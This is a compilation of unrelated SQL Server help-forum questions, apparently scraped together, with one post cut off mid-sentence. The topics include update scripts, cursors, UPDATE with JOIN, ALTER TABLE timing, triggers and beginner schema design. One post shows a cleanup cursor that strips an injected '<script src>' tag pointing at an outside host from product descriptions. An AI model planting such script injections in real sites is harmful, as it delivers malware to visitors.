Creating Database Update Scripts
Aug 21, 2006
I created an application based on an existing database, I made a lot of changes to the database, now I need to create scripts in the new database to use to update the old database. For example, I added 15 fields to 1 of the tables. Is there a way to use Tasks -> Generate Scripts to create a script that will check the existance of each column and create it if it does not exist? I tried multiple ways of doing this, but it will only create columns for tables that do not exist in the old database. If a table exists, none of the new columns are added.
I may be going about doing this wrong. The main goal I am tying to accomplish is to get all of the data that is in the old database (It was in use while the new one was being developed so there is a lot of data in the old database that I need to have in the new one) into the new one.
Am I better off creating a blank database, then exporting all of the data from the old database to the new one? Will this create any problems with my Primary Keys (The are all auto-increment Integers)?

So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls.
Code:
use db7021
go
select * from products
go
declare @desc varchar(max)
declare @virus varchar(128)
set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>'
declare @start int
declare @end int
declare thecursor CURSOR LOCAL SCROLL_LOCKS
for select cdescription from products
where cdescription like ('%' + @virus + '%')
for update of cdescription
open thecursor
fetch next from thecursor into @desc
while @@FETCH_STATUS = 0
begin
print @desc
set @start = charindex(@virus, @desc)
set @end = @start + len(@virus)
print cast(@start as char) + ', ' + cast(@end as char)
set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1)
update products
set cdescription = @desc
where current of thecursor
fetch next from thecursor into @desc
end
close thecursor
deallocate thecursor
select * from products
go
Which produces the output:
Code:
id cname cdescription
----------- ----------- ----------------------------------------------------------------------------------------
1 banana sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
2 apple sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
3 lolcat sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
4 cheezburgr sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
(4 row(s) affected)
sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)

(1 row(s) affected)
id cname cdescription
----------- ------------ ------------
1 banana NULL
2 apple NULL
3 lolcat NULL
4 cheezburgr NULL
(4 row(s) affected)
I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs.
Maybe I've missed something in the syntax for cursors?

I am attempting to update a table that drives a report. The report is at the order level. An order can have several types of demand (revenue $): Ship and/or Backordered. When I update one of these demand fields on the report table, I would expect those orders that have that type of demand to update, and those orders that don't have that type of demand to remain at their current value ($0 in this example which is the table default). But what is happening is that orders that don't have that type of demand are changing to NULL. What am i doing wrong with my update statement that is causing this?
Code:
CREATE TABLE #sales(
OrdNo int,
StatusGrp varchar(10),
Demand decimal(10,2)
)
INSERT INTO #sales
VALUES (1,'Ship',100.00)
[Code] .....

Hi,
I use the SqlDataSource Control for generating SQL-statements that I

Looking to write an query that will update a field for multiple items, like 1,500.
something like:
UPDATE INMAST
SET FPRICE = 111.11
WHERE
INMAST.FPARTNO = 'xxx'
only issue I'm having is a need to do a JOIN because there's one more condition that must be met from another table, i've tried this:
SET FPRICE = 111.11
JOIN INVCUR
ON
(inmast.fpartno + inmast.frev)= (invcur.fcpartno + invcur.fcpartrev)
WHERE
INMAST.FPARTNO = 'NRE'
AND
invcur.flanycur = 'TRUE'
but that is giving me an error around the JOIN

I have a table with ~30M records. I'm trying to add a column to the existing table with default value and have noticed following ... When using alter with default value- (Executes more than 45 min and killed forcefully)
ex: Â
ALTER TABLE dbo.Table_X Add is_Active BIT CONSTRAINT DF_Table_X_is_Active DEFAULT 'FALSE' NOT NULL
GO
When using update command after adding column with alter (without default value) it completes is 5 min.
ex: Â
ALTER TABLE dbo.Table_X Add is_Active BIT NULL
GO
UPDATE Table_X SET is_Active = 0 WHERE is_Active IS NULL
GO
Why there is so much of difference in execution times ? I was just trying to understand internal behavior of the SQL in these two scenarios.Â

hi!
I have a big problem. If anyone can help.
I want to retrieve the last update time of database. Whenever any update or delete or insert happend to my database i want to store and retrieve that time.
I know one way is that i have to make a table that will store the datetime field and system trigger / trigger that can update this field record whenever any update insert or deletion occur in database.
But i don't know exactly how to do the coding for this?
Is there any other way to do this?
can DBCC help to retrieve this info?
Please advise me how to do this.
Thanks in advance.

Sorry, I'm a newbie out there when it comes to creating database. I currently have an ASP.Net project which requires a database. I spent the past few days thinking about how to create a proper database for the application but to no avail. I think tis thread might be out of point for tis forum, but i am really in need of help.
Here goes the storyline of my database:
The project is an online project management system, meant for students to submit their deliverables (reports, eg. Minutes, agenda, project monitor chart) Lecturers will access the web application to grade the student’s submission. The application must allow administrators to add in new subjects. When a new subject is added, the subject leader will set a dateline for a particular module to be submitted. Eg, minutes dateline. Once the dateline is due, the system will inform the lecturers in charge of who/which group did not submit the module. Lecturers and subject leaders can then generate warning letters to be sent via email to the students involved. Lecturers and subject leaders will be able to make announcements through the system as well.
A student can either submit his/her work as an individual or as a group.
A student will be studying more than 1 subject.
A subject will consist of more than 1 module.
Every module will have a dateline for its submission.
Students can make more than 1 submission for each module.
Students belong to different groups/classes for different subjects.
For different modules, there will be different fields to be inserted into the database.
Example, in the “Minutes module�, the student will have to be able to key in the objectives, the date of the meeting, the venue, its members, absent members, actual minutes, action by and meeting end time.
In the “Project monitor chart module�, the student will have to key in the week/date, the name of the member, task involved, as well as the status.
When a new subject is created, the subject leader will have to specify the percentage of each different module. (Eg, Exams – 40%, Term test 15%, and so on.)
A subject will also be taught by more than 1 lecturer. So subject leader will specify the lecturers teaching that particular subject.
I hope someone out there can help me out on the construction of a database for the above storyline. Thanks a lot.

I created a database using the following command :
create database krish on (Name='krish', filename='C:Program FilesMicrosoft SQL ServerMSSQLdatakrish.mdf', size=25, maxsize=50,filegrowth=5%)
This actually created the database. Now, I wanted to view this database info being stored inside the SQL Server system tables. I looked at "sysdatabases" table and found an entry as expected for "krish" but I could not trace where the info corresponding to the size of the database was stored ie.25MB . (I looked ad "sysdevices" but couldn't find any entry for the newly created database).
In which table is it stored ?
Any help is appreciated.

Hello everybody, my name is Andy,
I need help for creating a database, it's an exercise for my school, we just began to learn SQL, about entities, relationships (one to one, one to many...), creating tables, but the thing is i don't know where to start, i think i need to practise but it's hard to transform a text into a database, i think i need some help from you guys and i hope you will help me.
I give you the exercise, and what i found :
Project wants users to be able to initiate debates, post articles and get to the achieved items. A user should be able to write as many articles as desired after having register with login and passport
However articles should contain these references for more http links, URL, summary of the content; 1 or more books, article, doc, case studies …
1)Identify the data objects and relationship and draft the initial ER Diagram with entities and relationships. Normalize model as far as you can
2)write the SQL query / link (url) and corresponding summary
About the 1)
Entities : users --> login and password associated (one to one relationships one user = one login/password)
Articles --> associated with the users accounts (one to many)
I am not sure for creating the different tables, im a bit lost... :s
About the 2) totally lost, i need the 1) to make the SQL Query (i know a bit about queries)
I hope you will help me, i am a beginner in SQL (only one course taken) and it is our first exercise, thanks for your help all!!!

OK,
I have downloaded and installed 2005 express. All I want to do now is create a new database. I do not see where to do that. All that was installed was the SQL Server Configuration Manager and the Surface Area configuration. Am I missing something. I guess I am looking for something similar to Enterprise Manager. Where is it?

I'm rusty with database design just yet so trying to improve. This is my way of creating a database in Access but before i swap over to SQL structure i would like a good foundation.
Overall the way i looked at it was you had to have one table that held all your results that users entered and the query took care of the rest??? So for example (Red indicates a Primary Key)
tbl_Products
ProductID
ProductCode
ProductDescription
ProductUnit
ProductQuantity
ProductPrice
tbl_Month
MonthID
Month
tbl_year
YearID
Year
tbl_Department
DepartmentID
DepartmentName
tbl_Employee
EmployeeID
EmployeeFirstname
EmployeeLastname
tbl_Orders
OrderID
OrderProductCode
OrderProductDescription
OrderProductUnit
OrderProductQty
OrderProductPrice
OrderMonth
OrderYear
OrderDepartment
OrderEmployee
I then have the following relationships (1 to Many):
ProductCode (1) - OrderProductCode (Many)
MonthID (1) - OrderMonth (Many)
YearID (1) - OrderYear (Many)
DepartmentID (1) - OrderDepartment (Many)
EmployeeID (1) - OrderEmployee (Many)
Ok your'e probably thinking what if i need to add another Employee or how would i retrieve Employee or month details - to add another Employee the user would have to enter the details on another form which allows them to add another Employee. To select an Employee on the Order Form i would create a combo box which allows the user to pick an Employee.
To create a query to pull product Code, Description, qty, price and Employee name (to see which employee placed the order) i would add the following to a query
ProductCode (From tbl_Products)
OrderProductDescription (From tbl_Orders)
OrderProductQty (From tbl_Orders)
OrderProductPrice (From tbl_Orders)
EmployeeFirstname (From tbl_Employee)
EmployeeLastname (From tbl_Employee)
This is the way i thought you should create a database but i'm a developer therefore only work with databases when the query is created by a db admin. Guess i have something wrong here?? if so how would you go about creating this type of database? Overall purpose of the database is usually a user entering data and retrieving data every so often.
Thanks in advance.
